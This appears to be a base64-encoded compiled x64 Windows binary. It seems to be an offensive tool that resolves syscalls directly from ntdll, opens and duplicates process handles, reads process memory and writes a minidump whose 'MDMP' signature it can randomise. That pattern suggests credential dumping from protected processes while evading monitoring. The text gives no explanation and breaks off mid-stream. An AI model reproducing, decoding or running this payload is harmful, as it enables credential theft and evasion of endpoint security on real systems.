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D4VO////6wGQSIN9+AB1CrgAAAAA6TEDAABIi0X4i0AYiUXkSItF+ItAHInCSItF8EgB0EiJRZBIi0X4i0AgicJIi0XwSAHQSIlFiEiLRfiLQCSJwkiLRfBIAdBIiUWAx0XgAAAAAEiNBVwNAQBIiYV4////i0Xkg+gBicBIjRSFAAAAAEiLRYhIAdCLAInCSItF8EgB0EiJhXD///9Ii4Vw////D7cAZj1ad3V0i0XgSMHgBEiJwkiLhXj///9IjRwCSIuFcP///0iJweis/f//iQOLReSD6AGJwEiNFABIi0WASAHQD7cAD7fASI0UhQAAAABIi0WQSAHQi1XgSInRSMHhBEiLlXj///9IAcqLAIlCBINF4AGBfeD0AQAAdBCDbeQBg33kAA+FRf///+sBkItF4IkFhgwBAMdF3AAAAADpWgEAAMdF2AAAAADpNQEAAItF2EjB4ARIicJIi4V4////SAHQi1AEi0XYg8ABicBIweAESInBSIuFeP///0gByItABDnCD4b2AAAASMeFQP///wAAAABIx4VI////AAAAAItF2EjB4ARIicJIi4V4////SAHQiwCJhUD///+LRdhIweAESInCSIuFeP///0gB0ItABImFRP///4tF2IPAAYnASMHgBEiJwkiLhXj///9IAdCLVdhIidFIweEESIuVeP///0gByosAiQKLRdiDwAGJwEjB4ARIicJIi4V4////SAHQi1XYSInRSMHhBEiLlXj///9IAcqLQASJQgSLRdiDwAGJwEjB4ARIicJIi4V4////SAHCi4VA////iQKLRdiDwAGJwEjB4ARIicJIi4V4////SAHCi4VE////iUIEg0XYAYsFMwsBACtF3IPoATlF2A+Ctv7//4NF3AGLBRoLAQCD6AE5RdwPgpT+//9Ii4V4////SIPAEItQBEiLhXj///+LSASJ0CnIiYVs////x0XUAAAAAOtZi0XUSMHgBEiJwkiLhXj///9IAdCLQASJwkiLRfBIAdBIiYVg////i0XUSMHgBEiJwkiLhXj///9IjRwCi5Vs////SIuFYP///0iJwegb+v//SIlDCINF1AGLBYQKAQCD6AE5RdRymbgBAAAASIHE6AAAAFtdw1VIieVIg+wwiU0Q6Hf7//+FwHUHuP/////rO8dF/AAAAADrIotF/EjB4ARIicJIjQVACgEAiwQCOUUQdQWLRfzrFINF/AGLBSEKAQA5Rfxy07j/////SIPEMF3DVUiJ5UiD7DCJTRDoG/v//4XAdQe4AAAAAOtNx0X8AAAAAOs0i0X8SMHgBEiJwkiNBeQJAQCLBAI5RRB1F4tF/EjB4ARIicJIjQXTCQEASIsEAusUg0X8AYsFswkBADlF/HLBuAAAAABIg8QwXcNIx8AAAAAAw5APC0iLBCTDkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIuQ8qm80AAAAAUUiD7CjoV////0iDxChZUEiD7Cjo7P7//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIuS8av/8AAAAAUUiD7Cjo/f7//0iDxChZUEiD7Cjokv7//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8FndYsRUUiD7Cjopv7//0iDxChZUEiD7CjoO/7//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8E/01IiUUiD7CjoT/7//0iDxChZUEiD7Cjo5P3//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIuaIVqY8AAAAAUUiD7Cjo9f3//0iDxChZUEiD7Cjoiv3//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIuSC8vL0AAAAAUUiD7Cjom/3//0iDxChZUEiD7CjoMP3//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8GA6ZMDUUiD7CjoRP3//0iDxChZUEiD7Cjo2fz//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8EyG6sXUUiD7Cjo7fz//0iDxChZUEiD7Cjogvz//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8EbA5UFUUiD7Cjolvz//0iDxChZUEiD7CjoK/z//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8EFL5MBUUiD7CjoP/z//0iDxChZUEiD7Cjo1Pv//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIubaOAZYAAAAAUUiD7Cjo5fv//0iDxChZUEiD7Cjoevv//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8EaKrIkUUiD7Cjojvv//0iDxChZUEiD7CjoI/v//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIuaDQOPUAAAAAUUiD7CjoNPv//0iDxChZUEiD7Cjoyfr//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEy